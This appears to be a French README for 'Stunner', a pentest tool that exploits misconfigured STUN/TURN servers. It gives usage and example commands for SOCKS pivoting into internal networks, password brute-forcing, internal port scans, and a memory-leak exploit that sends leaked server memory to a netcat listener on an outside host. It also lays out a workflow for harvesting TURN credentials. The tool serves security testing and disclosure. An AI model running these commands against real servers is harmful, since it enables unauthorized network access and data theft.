
Testez et exploitez les serveurs STUN/TURN pour les mauvaises configurations, permettant le pivotement du réseau interne via un proxy SOCKS, les attaques par fuite de mémoire et le scan de ports internes.
Stunner est un outil pour tester et exploiter les serveurs STUN, TURN et TURN over TCP. TURN est un protocole principalement utilisé dans la visioconférence et les chats audio (WebRTC).
Si vous trouvez un serveur mal configuré, vous pouvez utiliser cet outil pour ouvrir un proxy socks local qui relaye tout le trafic via le protocole TURN dans le réseau interne derrière le serveur.
J'ai développé cet outil lors d'un test de Cisco Expressway qui a révélé plusieurs vulnérabilités : https://firefart.at/post/multiple_vulnerabilities_cisco_expressway/
Pour obtenir le nom d'utilisateur et le mot de passe requis, vous devez les récupérer en utilisant une méthode hors bande comme l'écoute de la requête Connect d'un navigateur web avec Burp. J'ai ajouté un exemple de workflow en bas du readme sur la façon de tester un tel serveur.
Ce travail est sous licence Creative Commons Attribution - Pas d'Utilisation Commerciale - Partage dans les Mêmes Conditions 4.0 International. Pour voir une copie de cette licence, visitez http://creativecommons.org/licenses/by-nc-sa/4.0/ ou envoyez une lettre à Creative Commons, PO Box 1866, Mountain View, CA 94042, États-Unis.
STUN : RFC 5389
TURN : RFC 5766
TURN pour TCP : RFC 6062
Extension TURN pour IPv6 : RFC 6156
Cette commande affiche des informations sur le serveur stun ou turn, comme les protocoles supportés et les attributs tels que le logiciel utilisé.
--debug, -d active la sortie de débogage (défaut : false)
--turnserver value, -s value serveur turn auquel se connecter au format hôte:port
--tls Utiliser TLS/DTLS pour la connexion au serveur STUN ou TURN (défaut : false)
--timeout value délai d'attente de connexion au serveur turn (défaut : 1s)
--help, -h afficher l'aide (défaut : false)
./stunner info -s x.x.x.x:443
Cette commande essaie plusieurs plages privées et restreintes pour voir si le serveur TURN est configuré pour autoriser les connexions vers les adresses IP spécifiées. Si une plage spécifique n'est pas interdite, vous pouvez énumérer cette plage plus en détail avec les autres commandes fournies. Si une IP est accessible, cela signifie que le serveur TURN transférera le trafic vers cette IP.
--debug, -d active la sortie de débogage (défaut : false)
--turnserver value, -s value serveur turn auquel se connecter au format hôte:port
--tls Utiliser TLS/DTLS pour la connexion au serveur STUN ou TURN (défaut : false)
--protocol value protocole à utiliser pour la connexion au serveur TURN. Valeurs supportées : tcp et udp (défaut : "udp")
--timeout value délai d'attente de connexion au serveur turn (défaut : 1s)
--username value, -u value nom d'utilisateur pour le serveur turn
--password value, -p value mot de passe pour le serveur turn
--help, -h afficher l'aide (défaut : false)
Connexion TURN basée sur TCP (connexion de vous au serveur TURN) :
./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol tcp
Connexion TURN basée sur UDP (connexion de vous au serveur TURN) :
./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol udp
C'est l'une des commandes les plus utiles pour les serveurs TURN qui supportent les connexions TCP vers les serveurs backend. Elle lancera un serveur socks5 local sans authentification et relayera tout le trafic TCP via le protocole TURN (UDP via SOCKS n'est actuellement pas supporté). Si le serveur est mal configuré, il transférera le trafic vers des adresses internes, ce qui peut être utilisé pour atteindre des systèmes internes et abuser du serveur comme proxy dans le réseau interne. Si vous choisissez également d'effectuer des résolutions DNS via socks, elles seront résolues en utilisant votre serveur de noms local, il est donc préférable de travailler avec des adresses IPv4 et IPv6 privées. Veuillez noter que ce module ne peut relayer que le trafic TCP.
--debug, -d active la sortie de débogage (défaut : false)
--turnserver value, -s value serveur turn auquel se connecter au format hôte:port
--tls Utiliser TLS/DTLS pour la connexion au serveur STUN ou TURN (défaut : false)
--protocol value protocole à utiliser pour la connexion au serveur TURN. Valeurs supportées : tcp et udp (défaut : "udp")
--timeout value délai d'attente de connexion au serveur turn (défaut : 1s)
--username value, -u value nom d'utilisateur pour le serveur turn
--password value, -p value mot de passe pour le serveur turn
--listen value, -l value Adresse et port d'écoute (défaut : "127.0.0.1:1080")
--drop-public, -x Ignorer les requêtes vers des IP publiques. Utile si la cible ne peut pas se connecter à Internet et que votre navigateur souhaite vérifier les certificats TLS via la connexion. (défaut : true)
--help, -h afficher l'aide (défaut : false)
./stunner socks -s x.x.x.x:3478 -u username -p password -x
Après avoir démarré le proxy, ouvrez votre navigateur, pointez le proxy dans vos paramètres vers socks5 avec une IP de 127.0.0.1:1080 (assurez-vous de ne pas activer l'option "ne pas utiliser le proxy pour les adresses locales" car nous voulons atteindre les adresses locales distantes) et appelez l'IP de votre choix dans le navigateur.
Exemple : https://127.0.0.1, https://127.0.0.1:8443 ou https://[::1]:8443 (ces adresses appelleront les ports sur le serveur TURN testé depuis les interfaces locales).
Vous pouvez également configurer proxychains pour utiliser ce proxy (mais ce sera très lent car chaque requête entraîne plusieurs
requêtes pour activer le proxy). Modifiez simplement /etc/proxychains.conf et ajoutez la valeur socks5 127.0.0.1 1080 sous
ProxyList.
Exemple de nmap via ce proxy socks5 avec un proxychains correctement configuré (notez qu'il s'agit de -sT pour effectuer des SYN TCP, sinon il n'utilisera pas le proxy socks5)
sudo proxychains nmap -sT -p 80,443,8443 -sV 127.0.0.1
Cela ne donnera probablement aucune information exploitable mais peut être utile pour énumérer tous les transports disponibles (= protocoles vers les systèmes internes) supportés par le serveur. Cela peut révéler des implémentations de protocoles personnalisés mais ne renverra généralement que les valeurs par défaut.
--debug, -d active la sortie de débogage (défaut : false)
--turnserver value, -s value serveur turn auquel se connecter au format hôte:port
--tls Utiliser TLS/DTLS pour la connexion au serveur STUN ou TURN (défaut : false)
--protocol value protocole à utiliser pour la connexion au serveur TURN. Valeurs supportées : tcp et udp (défaut : "udp")
--timeout value délai d'attente de connexion au serveur turn (défaut : 1s)
--username value, -u value nom d'utilisateur pour le serveur turn
--password value, -p value mot de passe pour le serveur turn
--help, -h afficher l'aide (défaut : false)
./stunner brute-transports -s x.x.x.x:3478 -u username -p password
Cette commande essaie tous les mots de passe d'un fichier donné pour un nom d'utilisateur via le protocole TURN (UDP). Cela peut être utile lors de l'analyse d'un pcap où vous voyez le nom d'utilisateur mais pas le mot de passe. Veuillez noter qu'une force brute hors ligne est beaucoup plus rapide dans ce cas.
--debug, -d active la sortie de débogage (défaut : false)
--turnserver value, -s value serveur turn auquel se connecter au format hôte:port
--tls Utiliser TLS/DTLS pour la connexion au serveur STUN ou TURN (défaut : false)
--protocol value protocole à utiliser pour la connexion au serveur TURN. Valeurs supportées : tcp et udp (défaut : "udp")
--timeout value délai d'attente de connexion au serveur turn (défaut : 1s)
--username value, -u value nom d'utilisateur pour le serveur turn
--passfile value, -p value fichier de mots de passe à utiliser pour la force brute
--help, -h afficher l'aide (défaut : false)
./stunner brute-password -s x.x.x.x:3478 -u username -p wordlist.txt
Cette attaque fonctionne de la manière suivante :
Le serveur prend les données à envoyer à cible (doit être un port élevé > 1024 dans la plupart des cas) sous forme de TLV (Type Length Value).
Cette exploit utilise une grande longueur avec une valeur courte. Si le serveur ne vérifie pas les limites du TLV, il pourrait vous envoyer
une partie de la mémoire jusqu'à la longueur vers la cible. Cisco Expressway a été confirmé vulnérable à cette attaque, mais selon
Cisco, elle ne fuit que la mémoire de la session en cours.
--debug, -d active la sortie de débogage (défaut : false)
--turnserver value, -s value serveur turn auquel se connecter au format hôte:port
--tls Utiliser TLS/DTLS pour la connexion au serveur STUN ou TURN (défaut : false)
--protocol value protocole à utiliser pour la connexion au serveur TURN. Valeurs supportées : tcp et udp (défaut : "udp")
--timeout value délai d'attente de connexion au serveur turn (défaut : 1s)
--username value, -u value nom d'utilisateur pour le serveur turn
--password value, -p value mot de passe pour le serveur turn
--target value, -t value Cible vers laquelle fuir la mémoire au format hôte:port. Doit être un serveur public sous votre contrôle
--size value Taille du tampon à fuir (défaut : 35510)
--help, -h afficher l'aide (défaut : false)
Pour recevoir les données, nous devons configurer un récepteur sur un serveur avec une IP publique. Normalement, les pare-feux sont configurés pour n'autoriser que les ports élevés (> 1024) des serveurs TURN, alors assurez-vous d'utiliser un port élevé comme 8080 dans cet exemple lors de la connexion sortante vers Internet.
sudo nc -u -l -n -v -p 8080 | hexdump -C
puis exécutez la commande suivante sur votre machine en ajoutant l'IP publique au paramètre t
./stunner memoryleak -s x.x.x.x:3478 -t y.y.y.y:8080 -u username -p password
Si cela fonctionne, vous devriez voir d'importantes quantités de mémoire arriver ; sinon, vous ne verrez que de courts messages.
Si un serveur TURN autorise les connexions UDP vers des cibles internes, ce scanner peut être utilisé pour analyser toutes les plages IP privées et leur envoyer des requêtes SNMP et DNS. Comme cela vérifie beaucoup d'IP, cela peut prendre plusieurs jours, alors utilisez-le avec précaution ou spécifiez des cibles plus petites via les paramètres. Vous devez fournir une chaîne de communauté SNMP qui sera essayée et un nom de domaine qui sera résolu sur chaque IP. Pour le nom de domaine, vous pouvez par exemple utiliser burp collaborator.
--debug, -d active la sortie de débogage (défaut : false)
--turnserver value, -s value serveur turn auquel se connecter au format hôte:port
--tls Utiliser TLS/DTLS pour la connexion au serveur STUN ou TURN (défaut : false)
--protocol value protocole à utiliser pour la connexion au serveur TURN. Valeurs supportées : tcp et udp (défaut : "udp")
--timeout value délai d'attente de connexion au serveur turn (défaut : 1s)
--username value, -u value nom d'utilisateur pour le serveur turn
--password value, -p value mot de passe pour le serveur turn
--community-string value chaîne de communauté SNMP à utiliser pour l'analyse (défaut : "public")
--domain value nom de domaine à résoudre sur les serveurs DNS internes pendant l'analyse
--ip value Analyser une seule IP au lieu de toute la plage privée. Si laissé vide, toutes les plages privées sont analysées. Accepte des IP uniques ou le format CIDR. (accepte plusieurs entrées)
--help, -h afficher l'aide (défaut : false)
./stunner udp-scanner -s x.x.x.x:3478 -u username -p password --ip 192.168.0.1/24 --ip 10.0.0.1/8 --domain domain.you.control.com --community-string public
Similaire à udp-scanner mais envoie des requêtes HTTP vers les ports spécifiés (HTTPS n'est pas supporté)
--debug, -d active la sortie de débogage (défaut : false)
--turnserver value, -s value serveur turn auquel se connecter au format hôte:port
--tls Utiliser TLS/DTLS pour la connexion au serveur STUN ou TURN (défaut : false)
--protocol value protocole à utiliser pour la connexion au serveur TURN. Valeurs supportées : tcp et udp (défaut : "udp")
--timeout value délai d'attente de connexion au serveur turn (défaut : 1s)
--username value, -u value nom d'utilisateur pour le serveur turn
--password value, -p value mot de passe pour le serveur turn
--ports value Ports à vérifier (défaut : "80,443,8080,8081")
--ip value Analyser une seule IP au lieu de toute la plage privée. Si laissé vide, toutes les plages privées sont analysées. Accepte des IP uniques ou le format CIDR. (accepte plusieurs entrées)
--help, -h afficher l'aide (défaut : false)
./stunner tcp-scanner -s x.x.x.x:3478 -u username -p password --ip 192.168.0.1/24 --ip 10.0.0.1/8
Supposons que vous trouviez un service utilisant WebRTC et que vous souhaitiez le tester.
La première étape consiste à obtenir les données nécessaires. Je suggère de lancer Wireshark en arrière-plan et de simplement rejoindre une réunion via Burp
pour collecter tout le trafic HTTP et Websocket. Ensuite, recherchez dans votre historique Burp des mots-clés liés à TURN comme 3478,
password, credential et username (assurez-vous également de vérifier l'onglet websocket pour ces mots-clés). Cela pourrait révéler
le serveur turn et le protocole (les points d'accès UDP et TCP peuvent avoir des ports différents) ainsi que les identifiants utilisés pour se connecter.
Si vous ne trouvez pas les données dans Burp, commencez à regarder Wireshark pour identifier le trafic. S'il se trouve sur un port non standard (
autre que 3478), décodez le protocole dans Wireshark via un clic droit en tant que STUN. Cela devrait vous montrer le nom d'utilisateur
utilisé pour se connecter, et vous pouvez utiliser cette information pour rechercher encore plus l'historique de Burp pour les données nécessaires. Veuillez noter
que Wireshark ne peut pas vous afficher le mot de passe car le mot de passe est utilisé pour hacher certains contenus de paquets, il ne peut donc pas
être inversé.
L'étape suivante consisterait à exécuter la commande info vers le serveur turn en utilisant le bon port et protocole obtenus depuis
Burp.
Si cela fonctionne, l'étape suivante est un range-scan. Si cela autorise un trafic vers des systèmes internes, vous pouvez l'exploiter
plus en détail, mais sachez que l'UDP n'a que des cas d'utilisation limités.
Si les connexions TCP vers des systèmes internes sont autorisées, lancez simplement la commande socks et accédez aux IP autorisées via un
navigateur en configurant le proxy socks sur 127.0.0.1:1080. Vous pouvez essayer 127.0.0.1:443 et d'autres IP pour trouver des interfaces
d'administration.